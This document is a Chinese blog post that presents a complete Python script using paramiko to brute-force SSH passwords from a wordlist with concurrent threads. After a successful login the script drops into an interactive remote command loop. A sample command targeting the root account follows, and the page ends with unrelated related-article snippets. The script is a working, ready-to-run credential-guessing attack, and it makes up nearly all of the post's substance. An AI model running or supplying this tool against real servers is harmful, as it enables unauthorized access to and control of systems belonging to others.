paramiko 库实现的暴力破解 SSH 密码

import paramiko
import optparse
import threading
import time
from threading import Thread, BoundedSemaphore

# 用paramiko暴力破解SSH密码
# 最大并发连接尝试的数量,可根据实际情况调整,适当减小可降低对目标服务器的压力以及减少多线程同步问题出现的概率
maxConnections = 2
# 创建一个有界信号量,用于控制并发连接的数量,初始值设为最大并发连接数
connection_lock = BoundedSemaphore(value=maxConnections)
# 用于标记是否已经找到正确的密码,初始化为False,一旦找到正确密码,将被设置为True
Found = False
# 记录连接失败的次数,初始化为0,后续根据失败情况累加
Fails = 0
# 创建一个线程锁,用于控制打印输出,避免多线程打印时出现混乱
print_lock = threading.Lock()
# 创建一个线程锁,用于控制对共享变量Found等的修改操作,保证线程安全
stop_lock = threading.Lock()


def connect(host, user, password):
    """
    尝试使用给定的主机、用户和密码建立SSH连接
    :param host: 目标主机地址
    :param user: 用户名
    :param password: 密码
    :return: 如果成功连接返回密码(即找到的正确密码),否则返回None
    """
    # 获取当前线程的名称,方便在打印信息中标识是哪个线程在执行操作
    current_thread = threading.current_thread().name
    print(f"[{current_thread}] 开始尝试连接,使用密码: {password}")
    global Found
    global Fails
    try:
        print(f"[{current_thread}] 尝试获取连接锁")
        # 获取连接锁,保证同一时间只有指定数量(由maxConnections控制)的线程能尝试连接
        connection_lock.acquire()
        print(f"[{current_thread}] 成功获取连接锁")
        ssh_client = paramiko.SSHClient()
        # 设置自动添加主机密钥策略,避免因未知主机密钥导致连接失败(这种方式存在一定安全风险,生产环境需谨慎使用)
        ssh_client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
        # 尝试使用给定的主机、用户和密码建立SSH连接
        ssh_client.connect(host, port=22, username=user, password=password)
        # 获取打印锁,确保多个线程打印信息时不会出现混乱,然后打印找到密码的提示信息
        with print_lock:
            print('[+] Password Found')
        # 获取停止锁,用于安全地修改共享变量Found,将其设置为True,表示已找到密码,并打印提示信息告知其他线程停止尝试
        with stop_lock:
            Found = True
            print(f"[{current_thread}] 已将Found变量设置为True,表示找到密码,通知其他线程停止尝试")
        print(f"[{current_thread}] 成功连接,返回密码: {password}")
        return password
    except paramiko.AuthenticationException:
        # 获取停止锁,检查是否已经通过其他线程找到了密码,如果已找到则本线程停止尝试并返回None
        with stop_lock:
            if Found:
                print(f"[{current_thread}] 已找到密码(通过Found变量判断),本线程停止尝试,返回None")
                return None
            print(f"[{current_thread}] 认证失败,请检查用户名和密码是否正确")
        Fails += 1
        # 这里将最大失败次数设置为可配置的变量MAX_FAILURES,方便根据实际情况调整
        if Fails > MAX_FAILURES:
            with print_lock:
                print("[!] Exiting: Too many connection failures")
            print(f"[{current_thread}] 达到最大失败次数,本线程停止,返回None")
            return None
        print(f"[{current_thread}] 继续下一次尝试,返回None")
        return None
    except paramiko.SSHException as ssh_exception:
        with print_lock:
            print(f"[{current_thread}] SSH连接出现异常: {ssh_exception}")
        Fails += 1
        if Fails > MAX_FAILURES:
            with print_lock:
                print("[!] Exiting: Too many connection failures")
            return None
        return None
    except Exception as e:
        with print_lock:
            print(f"[{current_thread}] 出现其他未知异常: {e}")
        Fails += 1
        if Fails > MAX_FAILURES:
            with print_lock:
                print("[!] Exiting: Too many connection failures")
            return None
        return None
    finally:
        print(f"[{current_thread}] 准备释放连接锁")
        # 释放连接锁,允许其他等待的线程获取锁并尝试连接
        connection_lock.release()
        print(f"[{current_thread}] 成功释放连接锁")


def interact_with_remote(host, user, password):
    """
    在登录成功后,进入与远程主机的交互模式,可执行命令
    :param host: 目标主机地址
    :param user: 用户名
    :param password: 正确密码
    """
    ssh_client = paramiko.SSHClient()
    ssh_client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    try:
        ssh_client.connect(host, port=22, username=user, password=password)
        print(f"[*] 已成功登录 {host},现在可以输入命令与远程主机交互(输入 'exit' 可退出交互模式)")
        while True:
            command = input("请输入要执行的命令: ")
            if command.lower() == "exit":
                break
            try:
                stdin, stdout, stderr = ssh_client.exec_command(command)
                result = stdout.read().decode('utf-8')
                print(result)
            except paramiko.SSHException as e:
                print(f"[!] 执行命令时出现 SSH 异常: {e}")
            except UnicodeDecodeError:
                print(f"[!] 命令执行结果解码出现问题,请检查编码格式")
    except paramiko.AuthenticationException:
        print(f"[!] 交互时认证出现问题,请检查用户名和密码是否正确")
    except paramiko.SSHException as ssh_exception:
        print(f"[!] 建立交互连接时出现 SSH 异常: {ssh_exception}")
    except Exception as e:
        print(f"[!] 出现其他未知异常: e")
    finally:
        ssh_client.close()
        print("[*] 已退出与远程主机的交互,程序继续运行...")


def main():
    global MAX_FAILURES
    # 最大失败次数设置为20,可根据实际情况灵活调整这个值,当连接失败次数超过这个值时,线程停止尝试
    MAX_FAILURES = 20
    parser = optparse.OptionParser('usage: %prog -H<target host> -u<user> -F<password list>')
    parser.add_option('-H', dest='host', type='string', help='specify target host')
    parser.add_option('-u', dest='user', type='string', help='specify the user')
    parser.add_option('-F', dest='passwdFile', type='string', help='specify password file')
    (opts, args) = parser.parse_args()

    host = opts.host
    passwdFile = opts.passwdFile
    user = opts.user

    if host is None or user is None or passwdFile is None:
        print(parser.usage)
        exit(0)

    correct_password = None
    password_found_event = threading.Event()
    line_number = 0  # 添加变量用于记录当前读取的行数

    with open(passwdFile, 'r') as fn:
        for line in fn.readlines():
            line_number += 1  # 每读取一行,行数加1
            print(f"[*] 当前读取到第 {line_number} 行,密码为: {line.strip()}")  # 打印出行数和密码内容
            password = line.strip()
            print(f"[*] 准备获取连接锁")
            connection_lock.acquire()
            print(f"[*] 成功获取连接锁")
            t = Thread(target=connect, args=(host, user, password))
            t.name = f"Thread-{password}"
            t.start()

            print(f"[*] 开始检查密码是否找到,当前password_found_event状态: {password_found_event.is_set()}")
            while True:
                if Found:
                    correct_password = password
                    password_found_event.set()
                    print(f"[*] 已找到密码,设置password_found_event事件")
                    break
                time.sleep(0.01)

            print(f"[*] 结束本次密码检查,当前password_found_event状态: {password_found_event.is_set()}")
            if password_found_event.is_set():
                print(f"[*] 检测到password_found_event已设置,准备跳出外层循环")
                break

    if password_found_event.is_set():
        interact_with_remote(host, user, correct_password)


if __name__ == '__main__':
    main()
运行命令python3 your_script_name.py -H 192.168.1.100 -u root -F /path/to/passwords.txt

运行结果:

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/918202.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

用 Python 从零开始创建神经网络(五):损失函数(Loss Functions)计算网络误差

用损失函数&#xff08;Loss Functions&#xff09;计算网络误差 引言1. 分类交叉熵损失&#xff08;Categorical Cross-Entropy Loss&#xff09;2. 分类交叉熵损失类&#xff08;The Categorical Cross-Entropy Loss Class&#xff09;展示到目前为止的所有代码3. 准确率计算…

RabbitMQ的工作队列在Spring Boot中实现(详解常⽤的⼯作模式)

上文着重介绍RabbitMQ 七种工作模式介绍RabbitMQ 七种工作模式介绍_rabbitmq 工作模式-CSDN博客 本篇讲解如何在Spring环境下进⾏RabbitMQ的开发.&#xff08;只演⽰部分常⽤的⼯作模式&#xff09; 目录 引⼊依赖 一.工作队列模式 二.Publish/Subscribe(发布订阅模式) …

QWen2.5学习

配置环境 pip install transformers 记得更新一下&#xff1a;typing_extensions pip install --upgrade typing_extensions 安装modelscope modelscope/modelscope: ModelScope: bring the notion of Model-as-a-Service to life. 下载这个仓库的代码上传到服务器解压 推…

如何使用正则表达式验证域名

下面是一篇关于如何使用正则表达式验证域名的教程。 如何使用正则表达式验证域名 简介 域名是互联网上网站的地址&#xff0c;每个域名由多个标签&#xff08;label&#xff09;组成&#xff0c;标签之间用点 . 分隔。域名规则有很多细节&#xff0c;但基本要求是&#xff1a…

【MySQL】MySQL数据库入门:构建你的数据基石

&#x1f351;个人主页&#xff1a;Jupiter. &#x1f680; 所属专栏&#xff1a;MySQL初阶探索&#xff1a;构建数据库基础 欢迎大家点赞收藏评论&#x1f60a; 目录 &#x1f985;数据库基础&#x1f400;什么是数据库&#x1f40f;主流数据库&#x1f986;MySQL数据库的基本…

微信小程序之路由跳转传数据及接收

跳转并传id或者对象 1.home/index.wxml <!--点击goto方法 将spu_id传过去--> <view class"item" bind:tap"goto" data-id"{{item.spu_id}}"> 结果: 2.home/index.js goto(event){// 路由跳转页面,并把id传传过去//获取商品idlet i…

杰控通过 OPCproxy 获取数据发送到服务器

把数据从 杰控 取出来发到服务器 前提你在杰控中已经有变量了&#xff08;wincc 也适用&#xff09; 打开你的opcproxy 软件包 opcvarFile 添加变量 写文件就写到 了 opcproxy.ini中 这个文件里就是会读取到的数据 然后 opcproxy.exe发送到桌面快捷方式再考回来 &#…

【Mysql】Mysql函数(上)

1、概述 在Mysql中&#xff0c;为了提高代码重用性和隐藏实现细节&#xff0c;Mysql提供了很多函数。函数可以理解为封装好的模块代码。 2、分类 在Mysql中&#xff0c;函数非常多&#xff0c;主要可以分为以下几类&#xff1a; &#xff08;1&#xff09;聚合函数 &#xf…

MIT6.5840 Lab 1: MapReduce(6.824)

结果 介绍 在本实验中&#xff0c;您将构建一个MapReduce系统。您将实现一个调用应用程序Map和Reduce函数并处理文件读写的工作进程&#xff0c;以及一个将任务分发给工作进程并处理失败的工作进程的协调进程。您将构建类似于MapReduce论文的东西。&#xff08;注意&#xff1a…

关于mysql中的锁

mysql中包含的锁分为&#xff1a; 一、全局锁 二、表锁 三、行锁 一、全局锁 全局锁的力度是最大的&#xff0c;全局锁对整个数据库实例加锁&#xff0c;加锁后整个实例就处于只读状态&#xff0c;后续的DML的写语句&#xff0c;DDL语句&#xff0c;已经更新操作的事务提交语句…

51单片机应用开发---LCD1602显示应用

实现目标 1、了解LCD1602液晶屏&#xff1b; 2、掌握驱动程序的编写&#xff1b; 3. 具体目标&#xff1a;在屏幕上显示字符。 一、LCD1206概述 1.1 定义 LCD1602(Liquid Crystal Display)液晶显示屏是一种字符型液晶显示模块,可以显示ASCII码的标准字符和其它的一些内置…

Istio分布式链路监控搭建:Jaeger与Zipkin

分布式追踪定义 分布式追踪是一种用来跟踪分布式系统中请求的方法&#xff0c;它可以帮助用户更好地理解、控制和优化分布式系统。分布式追踪中用到了两个概念&#xff1a;TraceID 和 SpanID。 TraceID 是一个全局唯一的 ID&#xff0c;用来标识一个请求的追踪信息。一个请求…

编写一个生成凯撒密码的程序

plain list(input("请输入需要加密的明文&#xff08;只支持英文字母&#xff09;&#xff1a;"))key int(input("请输入移动的位数&#xff1a;"))base_A ord(A)base_a ord(a)cipher []for each in plain:if each :cipher.append( )else:if each.i…

k8s上部署redis高可用集群

介绍&#xff1a; Redis Cluster通过分片&#xff08;sharding&#xff09;来实现数据的分布式存储&#xff0c;每个master节点都负责一部分数据槽&#xff08;slot&#xff09;。 当一个master节点出现故障时&#xff0c;Redis Cluster能够自动将故障节点的数据槽转移到其他健…

【工具插件类教学】在 Unity 中使用 iTextSharp 实现 PDF 文件生成与导出

目录 一、准备工作 1. 安装 iTextSharp 2. 准备资源文件 二、创建 ExportPDFTool 脚本 1、初始化 PDF 文件,设置字体 2、添加标题、内容、表格和图片 三、使用工具类生成 PDF 四、源码地址 在 Unity 项目中,我们有时会需要生成带有文本、表格和图片的 PDF 文件,以便…

Centos 7 安装wget

Centos 7 安装wget 最小化安装Centos 7 的话需要上传wget rpm包之后再路径下安装一下。rpm包下载地址&#xff08;http://mirrors.163.com/centos/7/os/x86_64/Packages/&#xff09; 1、使用X-ftp 或者WinSCP等可以连接上传的软件都可以首先连接服务器&#xff0c;这里我用的…

任意文件下载漏洞

1.漏洞简介 任意文件下载漏洞是指攻击者能够通过操控请求参数&#xff0c;下载服务器上未经授权的文件。 攻击者可以利用该漏洞访问敏感文件&#xff0c;如配置文件、日志文件等&#xff0c;甚至可以下载包含恶意代码的文件。 这里再导入一个基础&#xff1a; 你要在网站下…

PySpark——Python与大数据

一、Spark 与 PySpark Apache Spark 是用于大规模数据&#xff08; large-scala data &#xff09;处理的统一&#xff08; unified &#xff09;分析引擎。简单来说&#xff0c; Spark 是一款分布式的计算框架&#xff0c;用于调度成百上千的服务器集群&#xff0c;计算 TB 、…

推荐一款流程图和图表绘制工具:WizFlow Flowcharter Pro

WizFlow Flowcharter是一款易于使用、功能丰富的Windows流程图和图表绘制工具。它允许用户使用超过一百种预定义的形状和箭头定义形状“样式”。您可以将自己的样式保存在图表模板中&#xff0c;以建立自己的绘图方法。WizFlow附带了完整的流程图模板&#xff0c;以帮助您入门。…

关系型数据库和非关系型数据库详解

文章目录 关系型数据库和非关系型数据库详解一、引言二、关系型数据库1、关系型数据库简介1.1、SQL语言 2、关系型数据库的实际应用3、关系型数据库的优点4、关系型数据库的缺点 三、非关系型数据库1、非关系型数据库简介1.1、灵活性示例 2、非关系型数据库的分类3、非关系型数…